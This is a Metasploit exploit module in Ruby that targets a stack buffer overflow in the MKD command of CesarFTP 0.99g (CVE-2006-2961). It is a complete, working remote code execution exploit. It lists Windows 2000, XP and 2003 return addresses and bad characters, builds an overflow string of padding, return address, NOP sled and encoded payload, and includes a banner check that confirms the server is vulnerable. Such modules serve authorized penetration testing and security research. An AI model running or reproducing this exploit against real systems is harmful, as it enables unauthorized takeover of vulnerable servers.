metasploit-framework/modules/exploits/windows/ftp/cesarftp_mkd.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
You must have valid credentials to trigger this vulnerability. Also, you
only get one chance, so choose your target carefully.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-2961'],
[ 'OSVDB', '26364'],
[ 'BID', '18586'],
[ 'URL', 'http://secunia.com/advisories/20574/' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 250,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
'Compat' =>
{
'SymbolLookup' => 'ws2ord',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],
[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
#[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
#[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
],
'DisclosureDate' => 'Jun 12 2006',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /CesarFTP 0\.99g/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
sploit = "\n" * 671 + rand_text_english(3, payload_badchars)
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
print_status("Trying target #{target.name}...")
send_cmd( ['MKD', sploit] , false)
handler
disconnect
end
end